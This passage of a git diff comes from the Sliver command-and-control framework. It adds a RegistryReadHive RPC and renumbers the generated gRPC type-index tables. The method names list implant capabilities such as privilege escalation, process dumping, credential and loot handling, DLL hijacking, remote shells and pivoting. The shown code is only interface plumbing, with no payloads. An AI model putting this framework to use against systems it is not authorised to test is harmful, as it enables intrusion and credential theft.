153, // 253: rpcpb.SliverRPC.GenerateUniqueIP:output_type -> clientpb.UniqueWGIP - 154, // 254: rpcpb.SliverRPC.ImplantProfiles:output_type -> clientpb.ImplantProfiles - 0, // 255: rpcpb.SliverRPC.DeleteImplantProfile:output_type -> commonpb.Empty - 38, // 256: rpcpb.SliverRPC.SaveImplantProfile:output_type -> clientpb.ImplantProfile - 155, // 257: rpcpb.SliverRPC.MsfStage:output_type -> clientpb.MsfStager - 156, // 258: rpcpb.SliverRPC.ShellcodeRDI:output_type -> clientpb.ShellcodeRDI - 157, // 259: rpcpb.SliverRPC.GetCompiler:output_type -> clientpb.Compiler - 158, // 260: rpcpb.SliverRPC.ShellcodeEncoder:output_type -> clientpb.ShellcodeEncode - 159, // 261: rpcpb.SliverRPC.ShellcodeEncoderMap:output_type -> clientpb.ShellcodeEncoderMap - 160, // 262: rpcpb.SliverRPC.TrafficEncoderMap:output_type -> clientpb.TrafficEncoderMap - 161, // 263: rpcpb.SliverRPC.TrafficEncoderAdd:output_type -> clientpb.TrafficEncoderTests - 0, // 264: rpcpb.SliverRPC.TrafficEncoderRm:output_type -> commonpb.Empty - 162, // 265: rpcpb.SliverRPC.Websites:output_type -> clientpb.Websites - 43, // 266: rpcpb.SliverRPC.Website:output_type -> clientpb.Website - 0, // 267: rpcpb.SliverRPC.WebsiteRemove:output_type -> commonpb.Empty - 43, // 268: rpcpb.SliverRPC.WebsiteAddContent:output_type -> clientpb.Website - 43, // 269: rpcpb.SliverRPC.WebsiteUpdateContent:output_type -> clientpb.Website - 43, // 270: rpcpb.SliverRPC.WebsiteRemoveContent:output_type -> clientpb.Website - 46, // 271: rpcpb.SliverRPC.Ping:output_type -> sliverpb.Ping - 163, // 272: rpcpb.SliverRPC.Ps:output_type -> sliverpb.Ps - 164, // 273: rpcpb.SliverRPC.Terminate:output_type -> sliverpb.Terminate - 165, // 274: rpcpb.SliverRPC.Ifconfig:output_type -> sliverpb.Ifconfig - 166, // 275: rpcpb.SliverRPC.Netstat:output_type -> sliverpb.Netstat - 167, // 276: rpcpb.SliverRPC.Ls:output_type -> sliverpb.Ls - 168, // 277: rpcpb.SliverRPC.Cd:output_type -> sliverpb.Pwd - 168, // 278: rpcpb.SliverRPC.Pwd:output_type -> sliverpb.Pwd - 169, // 279: rpcpb.SliverRPC.Mv:output_type -> sliverpb.Mv - 170, // 280: rpcpb.SliverRPC.Cp:output_type -> sliverpb.Cp - 171, // 281: rpcpb.SliverRPC.Rm:output_type -> sliverpb.Rm - 172, // 282: rpcpb.SliverRPC.Mkdir:output_type -> sliverpb.Mkdir - 173, // 283: rpcpb.SliverRPC.Download:output_type -> sliverpb.Download - 174, // 284: rpcpb.SliverRPC.Upload:output_type -> sliverpb.Upload - 175, // 285: rpcpb.SliverRPC.Grep:output_type -> sliverpb.Grep - 176, // 286: rpcpb.SliverRPC.Chmod:output_type -> sliverpb.Chmod - 177, // 287: rpcpb.SliverRPC.Chown:output_type -> sliverpb.Chown - 178, // 288: rpcpb.SliverRPC.Chtimes:output_type -> sliverpb.Chtimes - 167, // 289: rpcpb.SliverRPC.MemfilesList:output_type -> sliverpb.Ls - 179, // 290: rpcpb.SliverRPC.MemfilesAdd:output_type -> sliverpb.MemfilesAdd - 180, // 291: rpcpb.SliverRPC.MemfilesRm:output_type -> sliverpb.MemfilesRm - 181, // 292: rpcpb.SliverRPC.ProcessDump:output_type -> sliverpb.ProcessDump - 182, // 293: rpcpb.SliverRPC.RunAs:output_type -> sliverpb.RunAs - 183, // 294: rpcpb.SliverRPC.Impersonate:output_type -> sliverpb.Impersonate - 184, // 295: rpcpb.SliverRPC.RevToSelf:output_type -> sliverpb.RevToSelf - 185, // 296: rpcpb.SliverRPC.GetSystem:output_type -> sliverpb.GetSystem - 186, // 297: rpcpb.SliverRPC.Task:output_type -> sliverpb.Task - 186, // 298: rpcpb.SliverRPC.Msf:output_type -> sliverpb.Task - 186, // 299: rpcpb.SliverRPC.MsfRemote:output_type -> sliverpb.Task - 187, // 300: rpcpb.SliverRPC.ExecuteAssembly:output_type -> sliverpb.ExecuteAssembly - 188, // 301: rpcpb.SliverRPC.Migrate:output_type -> sliverpb.Migrate - 189, // 302: rpcpb.SliverRPC.Execute:output_type -> sliverpb.Execute - 189, // 303: rpcpb.SliverRPC.ExecuteWindows:output_type -> sliverpb.Execute - 190, // 304: rpcpb.SliverRPC.Sideload:output_type -> sliverpb.Sideload - 191, // 305: rpcpb.SliverRPC.SpawnDll:output_type -> sliverpb.SpawnDll - 192, // 306: rpcpb.SliverRPC.Screenshot:output_type -> sliverpb.Screenshot - 193, // 307: rpcpb.SliverRPC.CurrentTokenOwner:output_type -> sliverpb.CurrentTokenOwner - 194, // 308: rpcpb.SliverRPC.Services:output_type -> sliverpb.Services - 195, // 309: rpcpb.SliverRPC.ServiceDetail:output_type -> sliverpb.ServiceDetail - 196, // 310: rpcpb.SliverRPC.StartServiceByName:output_type -> sliverpb.ServiceInfo - 197, // 311: rpcpb.SliverRPC.PivotStartListener:output_type -> sliverpb.PivotListener - 0, // 312: rpcpb.SliverRPC.PivotStopListener:output_type -> commonpb.Empty - 198, // 313: rpcpb.SliverRPC.PivotSessionListeners:output_type -> sliverpb.PivotListeners - 199, // 314: rpcpb.SliverRPC.PivotGraph:output_type -> clientpb.PivotGraph - 196, // 315: rpcpb.SliverRPC.StartService:output_type -> sliverpb.ServiceInfo - 196, // 316: rpcpb.SliverRPC.StopService:output_type -> sliverpb.ServiceInfo - 196, // 317: rpcpb.SliverRPC.RemoveService:output_type -> sliverpb.ServiceInfo - 200, // 318: rpcpb.SliverRPC.MakeToken:output_type -> sliverpb.MakeToken - 201, // 319: rpcpb.SliverRPC.GetEnv:output_type -> sliverpb.EnvInfo - 202, // 320: rpcpb.SliverRPC.SetEnv:output_type -> sliverpb.SetEnv - 203, // 321: rpcpb.SliverRPC.UnsetEnv:output_type -> sliverpb.UnsetEnv - 204, // 322: rpcpb.SliverRPC.Backdoor:output_type -> clientpb.Backdoor - 205, // 323: rpcpb.SliverRPC.RegistryRead:output_type -> sliverpb.RegistryRead - 206, // 324: rpcpb.SliverRPC.RegistryWrite:output_type -> sliverpb.RegistryWrite - 207, // 325: rpcpb.SliverRPC.RegistryCreateKey:output_type -> sliverpb.RegistryCreateKey - 208, // 326: rpcpb.SliverRPC.RegistryDeleteKey:output_type -> sliverpb.RegistryDeleteKey - 209, // 327: rpcpb.SliverRPC.RegistryListSubKeys:output_type -> sliverpb.RegistrySubKeyList - 210, // 328: rpcpb.SliverRPC.RegistryListValues:output_type -> sliverpb.RegistryValuesList - 211, // 329: rpcpb.SliverRPC.RunSSHCommand:output_type -> sliverpb.SSHCommand - 212, // 330: rpcpb.SliverRPC.HijackDLL:output_type -> clientpb.DllHijack - 213, // 331: rpcpb.SliverRPC.GetPrivs:output_type -> sliverpb.GetPrivs - 214, // 332: rpcpb.SliverRPC.StartRportFwdListener:output_type -> sliverpb.RportFwdListener - 215, // 333: rpcpb.SliverRPC.GetRportFwdListeners:output_type -> sliverpb.RportFwdListeners - 214, // 334: rpcpb.SliverRPC.StopRportFwdListener:output_type -> sliverpb.RportFwdListener - 109, // 335: rpcpb.SliverRPC.OpenSession:output_type -> sliverpb.OpenSession - 0, // 336: rpcpb.SliverRPC.CloseSession:output_type -> commonpb.Empty - 216, // 337: rpcpb.SliverRPC.RegisterExtension:output_type -> sliverpb.RegisterExtension - 217, // 338: rpcpb.SliverRPC.CallExtension:output_type -> sliverpb.CallExtension - 218, // 339: rpcpb.SliverRPC.ListExtensions:output_type -> sliverpb.ListExtensions - 219, // 340: rpcpb.SliverRPC.RegisterWasmExtension:output_type -> sliverpb.RegisterWasmExtension - 220, // 341: rpcpb.SliverRPC.ListWasmExtensions:output_type -> sliverpb.ListWasmExtensions - 221, // 342: rpcpb.SliverRPC.ExecWasmExtension:output_type -> sliverpb.ExecWasmExtension - 222, // 343: rpcpb.SliverRPC.WGStartPortForward:output_type -> sliverpb.WGPortForward - 222, // 344: rpcpb.SliverRPC.WGStopPortForward:output_type -> sliverpb.WGPortForward - 223, // 345: rpcpb.SliverRPC.WGStartSocks:output_type -> sliverpb.WGSocks - 223, // 346: rpcpb.SliverRPC.WGStopSocks:output_type -> sliverpb.WGSocks - 224, // 347: rpcpb.SliverRPC.WGListForwarders:output_type -> sliverpb.WGTCPForwarders - 225, // 348: rpcpb.SliverRPC.WGListSocksServers:output_type -> sliverpb.WGSocksServers - 226, // 349: rpcpb.SliverRPC.Shell:output_type -> sliverpb.Shell - 227, // 350: rpcpb.SliverRPC.Portfwd:output_type -> sliverpb.Portfwd - 125, // 351: rpcpb.SliverRPC.CreateSocks:output_type -> sliverpb.Socks - 0, // 352: rpcpb.SliverRPC.CloseSocks:output_type -> commonpb.Empty - 126, // 353: rpcpb.SliverRPC.SocksProxy:output_type -> sliverpb.SocksData - 127, // 354: rpcpb.SliverRPC.CreateTunnel:output_type -> sliverpb.Tunnel - 0, // 355: rpcpb.SliverRPC.CloseTunnel:output_type -> commonpb.Empty - 128, // 356: rpcpb.SliverRPC.TunnelData:output_type -> sliverpb.TunnelData - 30, // 357: rpcpb.SliverRPC.Events:output_type -> clientpb.Event - 179, // [179:358] is the sub-list for method output_type - 0, // [0:179] is the sub-list for method input_type + 103, // 150: rpcpb.SliverRPC.RegistryReadHive:input_type -> sliverpb.RegistryReadHiveReq + 104, // 151: rpcpb.SliverRPC.RunSSHCommand:input_type -> sliverpb.SSHCommandReq + 105, // 152: rpcpb.SliverRPC.HijackDLL:input_type -> clientpb.DllHijackReq + 106, // 153: rpcpb.SliverRPC.GetPrivs:input_type -> sliverpb.GetPrivsReq + 107, // 154: rpcpb.SliverRPC.StartRportFwdListener:input_type -> sliverpb.RportFwdStartListenerReq + 108, // 155: rpcpb.SliverRPC.GetRportFwdListeners:input_type -> sliverpb.RportFwdListenersReq + 109, // 156: rpcpb.SliverRPC.StopRportFwdListener:input_type -> sliverpb.RportFwdStopListenerReq + 110, // 157: rpcpb.SliverRPC.OpenSession:input_type -> sliverpb.OpenSession + 111, // 158: rpcpb.SliverRPC.CloseSession:input_type -> sliverpb.CloseSession + 112, // 159: rpcpb.SliverRPC.RegisterExtension:input_type -> sliverpb.RegisterExtensionReq + 113, // 160: rpcpb.SliverRPC.CallExtension:input_type -> sliverpb.CallExtensionReq + 114, // 161: rpcpb.SliverRPC.ListExtensions:input_type -> sliverpb.ListExtensionsReq + 115, // 162: rpcpb.SliverRPC.RegisterWasmExtension:input_type -> sliverpb.RegisterWasmExtensionReq + 116, // 163: rpcpb.SliverRPC.ListWasmExtensions:input_type -> sliverpb.ListWasmExtensionsReq + 117, // 164: rpcpb.SliverRPC.ExecWasmExtension:input_type -> sliverpb.ExecWasmExtensionReq + 118, // 165: rpcpb.SliverRPC.WGStartPortForward:input_type -> sliverpb.WGPortForwardStartReq + 119, // 166: rpcpb.SliverRPC.WGStopPortForward:input_type -> sliverpb.WGPortForwardStopReq + 120, // 167: rpcpb.SliverRPC.WGStartSocks:input_type -> sliverpb.WGSocksStartReq + 121, // 168: rpcpb.SliverRPC.WGStopSocks:input_type -> sliverpb.WGSocksStopReq + 122, // 169: rpcpb.SliverRPC.WGListForwarders:input_type -> sliverpb.WGTCPForwardersReq + 123, // 170: rpcpb.SliverRPC.WGListSocksServers:input_type -> sliverpb.WGSocksServersReq + 124, // 171: rpcpb.SliverRPC.Shell:input_type -> sliverpb.ShellReq + 125, // 172: rpcpb.SliverRPC.Portfwd:input_type -> sliverpb.PortfwdReq + 126, // 173: rpcpb.SliverRPC.CreateSocks:input_type -> sliverpb.Socks + 126, // 174: rpcpb.SliverRPC.CloseSocks:input_type -> sliverpb.Socks + 127, // 175: rpcpb.SliverRPC.SocksProxy:input_type -> sliverpb.SocksData + 128, // 176: rpcpb.SliverRPC.CreateTunnel:input_type -> sliverpb.Tunnel + 128, // 177: rpcpb.SliverRPC.CloseTunnel:input_type -> sliverpb.Tunnel + 129, // 178: rpcpb.SliverRPC.TunnelData:input_type -> sliverpb.TunnelData + 0, // 179: rpcpb.SliverRPC.Events:input_type -> commonpb.Empty + 130, // 180: rpcpb.SliverRPC.GetVersion:output_type -> clientpb.Version + 0, // 181: rpcpb.SliverRPC.ClientLog:output_type -> commonpb.Empty + 131, // 182: rpcpb.SliverRPC.GetOperators:output_type -> clientpb.Operators + 0, // 183: rpcpb.SliverRPC.Kill:output_type -> commonpb.Empty + 132, // 184: rpcpb.SliverRPC.Reconfigure:output_type -> sliverpb.Reconfigure + 0, // 185: rpcpb.SliverRPC.Rename:output_type -> commonpb.Empty + 133, // 186: rpcpb.SliverRPC.GetSessions:output_type -> clientpb.Sessions + 134, // 187: rpcpb.SliverRPC.MonitorStart:output_type -> commonpb.Response + 0, // 188: rpcpb.SliverRPC.MonitorStop:output_type -> commonpb.Empty + 135, // 189: rpcpb.SliverRPC.MonitorListConfig:output_type -> clientpb.MonitoringProviders + 134, // 190: rpcpb.SliverRPC.MonitorAddConfig:output_type -> commonpb.Response + 134, // 191: rpcpb.SliverRPC.MonitorDelConfig:output_type -> commonpb.Response + 136, // 192: rpcpb.SliverRPC.StartMTLSListener:output_type -> clientpb.ListenerJob + 136, // 193: rpcpb.SliverRPC.StartWGListener:output_type -> clientpb.ListenerJob + 136, // 194: rpcpb.SliverRPC.StartDNSListener:output_type -> clientpb.ListenerJob + 136, // 195: rpcpb.SliverRPC.StartHTTPSListener:output_type -> clientpb.ListenerJob + 136, // 196: rpcpb.SliverRPC.StartHTTPListener:output_type -> clientpb.ListenerJob + 137, // 197: rpcpb.SliverRPC.GetBeacons:output_type -> clientpb.Beacons + 10, // 198: rpcpb.SliverRPC.GetBeacon:output_type -> clientpb.Beacon + 0, // 199: rpcpb.SliverRPC.RmBeacon:output_type -> commonpb.Empty + 138, // 200: rpcpb.SliverRPC.GetBeaconTasks:output_type -> clientpb.BeaconTasks + 11, // 201: rpcpb.SliverRPC.GetBeaconTaskContent:output_type -> clientpb.BeaconTask + 11, // 202: rpcpb.SliverRPC.CancelBeaconTask:output_type -> clientpb.BeaconTask + 0, // 203: rpcpb.SliverRPC.UpdateBeaconIntegrityInformation:output_type -> commonpb.Empty + 139, // 204: rpcpb.SliverRPC.GetJobs:output_type -> clientpb.Jobs + 140, // 205: rpcpb.SliverRPC.KillJob:output_type -> clientpb.KillJob + 0, // 206: rpcpb.SliverRPC.RestartJobs:output_type -> commonpb.Empty + 141, // 207: rpcpb.SliverRPC.StartTCPStagerListener:output_type -> clientpb.StagerListener + 16, // 208: rpcpb.SliverRPC.LootAdd:output_type -> clientpb.Loot + 0, // 209: rpcpb.SliverRPC.LootRm:output_type -> commonpb.Empty + 16, // 210: rpcpb.SliverRPC.LootUpdate:output_type -> clientpb.Loot + 16, // 211: rpcpb.SliverRPC.LootContent:output_type -> clientpb.Loot + 142, // 212: rpcpb.SliverRPC.LootAll:output_type -> clientpb.AllLoot + 17, // 213: rpcpb.SliverRPC.Creds:output_type -> clientpb.Credentials + 0, // 214: rpcpb.SliverRPC.CredsAdd:output_type -> commonpb.Empty + 0, // 215: rpcpb.SliverRPC.CredsRm:output_type -> commonpb.Empty + 0, // 216: rpcpb.SliverRPC.CredsUpdate:output_type -> commonpb.Empty + 18, // 217: rpcpb.SliverRPC.GetCredByID:output_type -> clientpb.Credential + 17, // 218: rpcpb.SliverRPC.GetCredsByHashType:output_type -> clientpb.Credentials + 17, // 219: rpcpb.SliverRPC.GetPlaintextCredsByHashType:output_type -> clientpb.Credentials + 18, // 220: rpcpb.SliverRPC.CredsSniffHashType:output_type -> clientpb.Credential + 143, // 221: rpcpb.SliverRPC.Hosts:output_type -> clientpb.AllHosts + 19, // 222: rpcpb.SliverRPC.Host:output_type -> clientpb.Host + 0, // 223: rpcpb.SliverRPC.HostRm:output_type -> commonpb.Empty + 0, // 224: rpcpb.SliverRPC.HostIOCRm:output_type -> commonpb.Empty + 144, // 225: rpcpb.SliverRPC.Generate:output_type -> clientpb.Generate + 145, // 226: rpcpb.SliverRPC.GenerateExternal:output_type -> clientpb.ExternalImplantConfig + 0, // 227: rpcpb.SliverRPC.GenerateExternalSaveBuild:output_type -> commonpb.Empty + 145, // 228: rpcpb.SliverRPC.GenerateExternalGetBuildConfig:output_type -> clientpb.ExternalImplantConfig + 144, // 229: rpcpb.SliverRPC.GenerateStage:output_type -> clientpb.Generate + 0, // 230: rpcpb.SliverRPC.StageImplantBuild:output_type -> commonpb.Empty + 146, // 231: rpcpb.SliverRPC.GetHTTPC2Profiles:output_type -> clientpb.HTTPC2Configs + 147, // 232: rpcpb.SliverRPC.GetHTTPC2ProfileByName:output_type -> clientpb.HTTPC2Config + 0, // 233: rpcpb.SliverRPC.SaveHTTPC2Profile:output_type -> commonpb.Empty + 30, // 234: rpcpb.SliverRPC.BuilderRegister:output_type -> clientpb.Event + 0, // 235: rpcpb.SliverRPC.BuilderTrigger:output_type -> commonpb.Empty + 148, // 236: rpcpb.SliverRPC.Builders:output_type -> clientpb.Builders + 30, // 237: rpcpb.SliverRPC.CrackstationRegister:output_type -> clientpb.Event + 0, // 238: rpcpb.SliverRPC.CrackstationTrigger:output_type -> commonpb.Empty + 0, // 239: rpcpb.SliverRPC.CrackstationBenchmark:output_type -> commonpb.Empty + 149, // 240: rpcpb.SliverRPC.Crackstations:output_type -> clientpb.Crackstations + 33, // 241: rpcpb.SliverRPC.CrackTaskByID:output_type -> clientpb.CrackTask + 0, // 242: rpcpb.SliverRPC.CrackTaskUpdate:output_type -> commonpb.Empty + 150, // 243: rpcpb.SliverRPC.CrackFilesList:output_type -> clientpb.CrackFiles + 34, // 244: rpcpb.SliverRPC.CrackFileCreate:output_type -> clientpb.CrackFile + 0, // 245: rpcpb.SliverRPC.CrackFileChunkUpload:output_type -> commonpb.Empty + 35, // 246: rpcpb.SliverRPC.CrackFileChunkDownload:output_type -> clientpb.CrackFileChunk + 0, // 247: rpcpb.SliverRPC.CrackFileComplete:output_type -> commonpb.Empty + 0, // 248: rpcpb.SliverRPC.CrackFileDelete:output_type -> commonpb.Empty + 144, // 249: rpcpb.SliverRPC.Regenerate:output_type -> clientpb.Generate + 151, // 250: rpcpb.SliverRPC.ImplantBuilds:output_type -> clientpb.ImplantBuilds + 0, // 251: rpcpb.SliverRPC.DeleteImplantBuild:output_type -> commonpb.Empty + 152, // 252: rpcpb.SliverRPC.Canaries:output_type -> clientpb.Canaries + 153, // 253: rpcpb.SliverRPC.GenerateWGClientConfig:output_type -> clientpb.WGClientConfig + 154, // 254: rpcpb.SliverRPC.GenerateUniqueIP:output_type -> clientpb.UniqueWGIP + 155, // 255: rpcpb.SliverRPC.ImplantProfiles:output_type -> clientpb.ImplantProfiles + 0, // 256: rpcpb.SliverRPC.DeleteImplantProfile:output_type -> commonpb.Empty + 38, // 257: rpcpb.SliverRPC.SaveImplantProfile:output_type -> clientpb.ImplantProfile + 156, // 258: rpcpb.SliverRPC.MsfStage:output_type -> clientpb.MsfStager + 157, // 259: rpcpb.SliverRPC.ShellcodeRDI:output_type -> clientpb.ShellcodeRDI + 158, // 260: rpcpb.SliverRPC.GetCompiler:output_type -> clientpb.Compiler + 159, // 261: rpcpb.SliverRPC.ShellcodeEncoder:output_type -> clientpb.ShellcodeEncode + 160, // 262: rpcpb.SliverRPC.ShellcodeEncoderMap:output_type -> clientpb.ShellcodeEncoderMap + 161, // 263: rpcpb.SliverRPC.TrafficEncoderMap:output_type -> clientpb.TrafficEncoderMap + 162, // 264: rpcpb.SliverRPC.TrafficEncoderAdd:output_type -> clientpb.TrafficEncoderTests + 0, // 265: rpcpb.SliverRPC.TrafficEncoderRm:output_type -> commonpb.Empty + 163, // 266: rpcpb.SliverRPC.Websites:output_type -> clientpb.Websites + 43, // 267: rpcpb.SliverRPC.Website:output_type -> clientpb.Website + 0, // 268: rpcpb.SliverRPC.WebsiteRemove:output_type -> commonpb.Empty + 43, // 269: rpcpb.SliverRPC.WebsiteAddContent:output_type -> clientpb.Website + 43, // 270: rpcpb.SliverRPC.WebsiteUpdateContent:output_type -> clientpb.Website + 43, // 271: rpcpb.SliverRPC.WebsiteRemoveContent:output_type -> clientpb.Website + 46, // 272: rpcpb.SliverRPC.Ping:output_type -> sliverpb.Ping + 164, // 273: rpcpb.SliverRPC.Ps:output_type -> sliverpb.Ps + 165, // 274: rpcpb.SliverRPC.Terminate:output_type -> sliverpb.Terminate + 166, // 275: rpcpb.SliverRPC.Ifconfig:output_type -> sliverpb.Ifconfig + 167, // 276: rpcpb.SliverRPC.Netstat:output_type -> sliverpb.Netstat + 168, // 277: rpcpb.SliverRPC.Ls:output_type -> sliverpb.Ls + 169, // 278: rpcpb.SliverRPC.Cd:output_type -> sliverpb.Pwd + 169, // 279: rpcpb.SliverRPC.Pwd:output_type -> sliverpb.Pwd + 170, // 280: rpcpb.SliverRPC.Mv:output_type -> sliverpb.Mv + 171, // 281: rpcpb.SliverRPC.Cp:output_type -> sliverpb.Cp + 172, // 282: rpcpb.SliverRPC.Rm:output_type -> sliverpb.Rm + 173, // 283: rpcpb.SliverRPC.Mkdir:output_type -> sliverpb.Mkdir + 174, // 284: rpcpb.SliverRPC.Download:output_type -> sliverpb.Download + 175, // 285: rpcpb.SliverRPC.Upload:output_type -> sliverpb.Upload + 176, // 286: rpcpb.SliverRPC.Grep:output_type -> sliverpb.Grep + 177, // 287: rpcpb.SliverRPC.Chmod:output_type -> sliverpb.Chmod + 178, // 288: rpcpb.SliverRPC.Chown:output_type -> sliverpb.Chown + 179, // 289: rpcpb.SliverRPC.Chtimes:output_type -> sliverpb.Chtimes + 168, // 290: rpcpb.SliverRPC.MemfilesList:output_type -> sliverpb.Ls + 180, // 291: rpcpb.SliverRPC.MemfilesAdd:output_type -> sliverpb.MemfilesAdd + 181, // 292: rpcpb.SliverRPC.MemfilesRm:output_type -> sliverpb.MemfilesRm + 182, // 293: rpcpb.SliverRPC.ProcessDump:output_type -> sliverpb.ProcessDump + 183, // 294: rpcpb.SliverRPC.RunAs:output_type -> sliverpb.RunAs + 184, // 295: rpcpb.SliverRPC.Impersonate:output_type -> sliverpb.Impersonate + 185, // 296: rpcpb.SliverRPC.RevToSelf:output_type -> sliverpb.RevToSelf + 186, // 297: rpcpb.SliverRPC.GetSystem:output_type -> sliverpb.GetSystem + 187, // 298: rpcpb.SliverRPC.Task:output_type -> sliverpb.Task + 187, // 299: rpcpb.SliverRPC.Msf:output_type -> sliverpb.Task + 187, // 300: rpcpb.SliverRPC.MsfRemote:output_type -> sliverpb.Task + 188, // 301: rpcpb.SliverRPC.ExecuteAssembly:output_type -> sliverpb.ExecuteAssembly + 189, // 302: rpcpb.SliverRPC.Migrate:output_type -> sliverpb.Migrate + 190, // 303: rpcpb.SliverRPC.Execute:output_type -> sliverpb.Execute + 190, // 304: rpcpb.SliverRPC.ExecuteWindows:output_type -> sliverpb.Execute + 191, // 305: rpcpb.SliverRPC.Sideload:output_type -> sliverpb.Sideload + 192, // 306: rpcpb.SliverRPC.SpawnDll:output_type -> sliverpb.SpawnDll + 193, // 307: rpcpb.SliverRPC.Screenshot:output_type -> sliverpb.Screenshot + 194, // 308: rpcpb.SliverRPC.CurrentTokenOwner:output_type -> sliverpb.CurrentTokenOwner + 195, // 309: rpcpb.SliverRPC.Services:output_type -> sliverpb.Services + 196, // 310: rpcpb.SliverRPC.ServiceDetail:output_type -> sliverpb.ServiceDetail + 197, // 311: rpcpb.SliverRPC.StartServiceByName:output_type -> sliverpb.ServiceInfo + 198, // 312: rpcpb.SliverRPC.PivotStartListener:output_type -> sliverpb.PivotListener + 0, // 313: rpcpb.SliverRPC.PivotStopListener:output_type -> commonpb.Empty + 199, // 314: rpcpb.SliverRPC.PivotSessionListeners:output_type -> sliverpb.PivotListeners + 200, // 315: rpcpb.SliverRPC.PivotGraph:output_type -> clientpb.PivotGraph + 197, // 316: rpcpb.SliverRPC.StartService:output_type -> sliverpb.ServiceInfo + 197, // 317: rpcpb.SliverRPC.StopService:output_type -> sliverpb.ServiceInfo + 197, // 318: rpcpb.SliverRPC.RemoveService:output_type -> sliverpb.ServiceInfo + 201, // 319: rpcpb.SliverRPC.MakeToken:output_type -> sliverpb.MakeToken + 202, // 320: rpcpb.SliverRPC.GetEnv:output_type -> sliverpb.EnvInfo + 203, // 321: rpcpb.SliverRPC.SetEnv:output_type -> sliverpb.SetEnv + 204, // 322: rpcpb.SliverRPC.UnsetEnv:output_type -> sliverpb.UnsetEnv + 205, // 323: rpcpb.SliverRPC.Backdoor:output_type -> clientpb.Backdoor + 206, // 324: rpcpb.SliverRPC.RegistryRead:output_type -> sliverpb.RegistryRead + 207, // 325: rpcpb.SliverRPC.RegistryWrite:output_type -> sliverpb.RegistryWrite + 208, // 326: rpcpb.SliverRPC.RegistryCreateKey:output_type -> sliverpb.RegistryCreateKey + 209, // 327: rpcpb.SliverRPC.RegistryDeleteKey:output_type -> sliverpb.RegistryDeleteKey + 210, // 328: rpcpb.SliverRPC.RegistryListSubKeys:output_type -> sliverpb.RegistrySubKeyList + 211, // 329: rpcpb.SliverRPC.RegistryListValues:output_type -> sliverpb.RegistryValuesList + 212, // 330: rpcpb.SliverRPC.RegistryReadHive:output_type -> sliverpb.RegistryReadHive + 213, // 331: rpcpb.SliverRPC.RunSSHCommand:output_type -> sliverpb.SSHCommand + 214, // 332: rpcpb.SliverRPC.HijackDLL:output_type -> clientpb.DllHijack + 215, // 333: rpcpb.SliverRPC.GetPrivs:output_type -> sliverpb.GetPrivs + 216, // 334: rpcpb.SliverRPC.StartRportFwdListener:output_type -> sliverpb.RportFwdListener + 217, // 335: rpcpb.SliverRPC.GetRportFwdListeners:output_type -> sliverpb.RportFwdListeners + 216, // 336: rpcpb.SliverRPC.StopRportFwdListener:output_type -> sliverpb.RportFwdListener + 110, // 337: rpcpb.SliverRPC.OpenSession:output_type -> sliverpb.OpenSession + 0, // 338: rpcpb.SliverRPC.CloseSession:output_type -> commonpb.Empty + 218, // 339: rpcpb.SliverRPC.RegisterExtension:output_type -> sliverpb.RegisterExtension + 219, // 340: rpcpb.SliverRPC.CallExtension:output_type -> sliverpb.CallExtension + 220, // 341: rpcpb.SliverRPC.ListExtensions:output_type -> sliverpb.ListExtensions + 221, // 342: rpcpb.SliverRPC.RegisterWasmExtension:output_type -> sliverpb.RegisterWasmExtension + 222, // 343: rpcpb.SliverRPC.ListWasmExtensions:output_type -> sliverpb.ListWasmExtensions + 223, // 344: rpcpb.SliverRPC.ExecWasmExtension:output_type -> sliverpb.ExecWasmExtension + 224, // 345: rpcpb.SliverRPC.WGStartPortForward:output_type -> sliverpb.WGPortForward + 224, // 346: rpcpb.SliverRPC.WGStopPortForward:output_type -> sliverpb.WGPortForward + 225, // 347: rpcpb.SliverRPC.WGStartSocks:output_type -> sliverpb.WGSocks + 225, // 348: rpcpb.SliverRPC.WGStopSocks:output_type -> sliverpb.WGSocks + 226, // 349: rpcpb.SliverRPC.WGListForwarders:output_type -> sliverpb.WGTCPForwarders + 227, // 350: rpcpb.SliverRPC.WGListSocksServers:output_type -> sliverpb.WGSocksServers + 228, // 351: rpcpb.SliverRPC.Shell:output_type -> sliverpb.Shell + 229, // 352: rpcpb.SliverRPC.Portfwd:output_type -> sliverpb.Portfwd + 126, // 353: rpcpb.SliverRPC.CreateSocks:output_type -> sliverpb.Socks + 0, // 354: rpcpb.SliverRPC.CloseSocks:output_type -> commonpb.Empty + 127, // 355: rpcpb.SliverRPC.SocksProxy:output_type -> sliverpb.SocksData + 128, // 356: rpcpb.SliverRPC.CreateTunnel:output_type -> sliverpb.Tunnel + 0, // 357: rpcpb.SliverRPC.CloseTunnel:output_type -> commonpb.Empty + 129, // 358: rpcpb.SliverRPC.TunnelData:output_type -> sliverpb.TunnelData + 30, // 359: rpcpb.SliverRPC.Events:output_type -> clientpb.Event + 180, // [180:360] is the sub-list for method output_type + 0, // [0:180] is the sub-list for method input_type 0, // [0:0] is the sub-list for extension type_name 0, // [0:0] is the sub-list for extension extendee 0, // [0:0] is the sub-list for field type_name diff --git a/protobuf/rpcpb/services.proto b/protobuf/rpcpb/services.proto index 0b7837215f..7994744df1 100644 --- a/protobuf/rpcpb/services.proto +++ b/protobuf/rpcpb/services.proto @@ -226,6 +226,7 @@ service SliverRPC { returns (sliverpb.RegistrySubKeyList); rpc RegistryListValues(sliverpb.RegistryListValuesReq) returns (sliverpb.RegistryValuesList); + rpc RegistryReadHive(sliverpb.RegistryReadHiveReq) returns (sliverpb.RegistryReadHive); rpc RunSSHCommand(sliverpb.SSHCommandReq) returns (sliverpb.SSHCommand); rpc HijackDLL(clientpb.DllHijackReq) returns (clientpb.DllHijack); rpc GetPrivs(sliverpb.GetPrivsReq) returns (sliverpb.GetPrivs); diff --git a/protobuf/rpcpb/services_grpc.pb.go b/protobuf/rpcpb/services_grpc.pb.go index 08cf7bb178..3bba8994b8 100644 --- a/protobuf/rpcpb/services_grpc.pb.go +++ b/protobuf/rpcpb/services_grpc.pb.go @@ -196,6 +196,7 @@ type SliverRPCClient interface { RegistryDeleteKey(ctx context.Context, in *sliverpb.RegistryDeleteKeyReq, opts ...grpc.CallOption) (*sliverpb.RegistryDeleteKey, error) RegistryListSubKeys(ctx context.Context, in *sliverpb.RegistrySubKeyListReq, opts ...grpc.CallOption) (*sliverpb.RegistrySubKeyList, error) RegistryListValues(ctx context.Context, in *sliverpb.RegistryListValuesReq, opts ...grpc.CallOption) (*sliverpb.RegistryValuesList, error) + RegistryReadHive(ctx context.Context, in *sliverpb.RegistryReadHiveReq, opts ...grpc.CallOption) (*sliverpb.RegistryReadHive, error) RunSSHCommand(ctx context.Context, in *sliverpb.SSHCommandReq, opts ...grpc.CallOption) 